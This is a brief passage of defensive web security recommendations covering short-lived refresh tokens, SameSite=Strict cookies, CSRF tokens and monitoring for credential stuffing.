- Implement short-lived tokens with refresh mechanism
- Use SameSite=Strict cookies
- Implement CSRF tokens for all state-changing operations
- Monitor for credential stuffing attacks
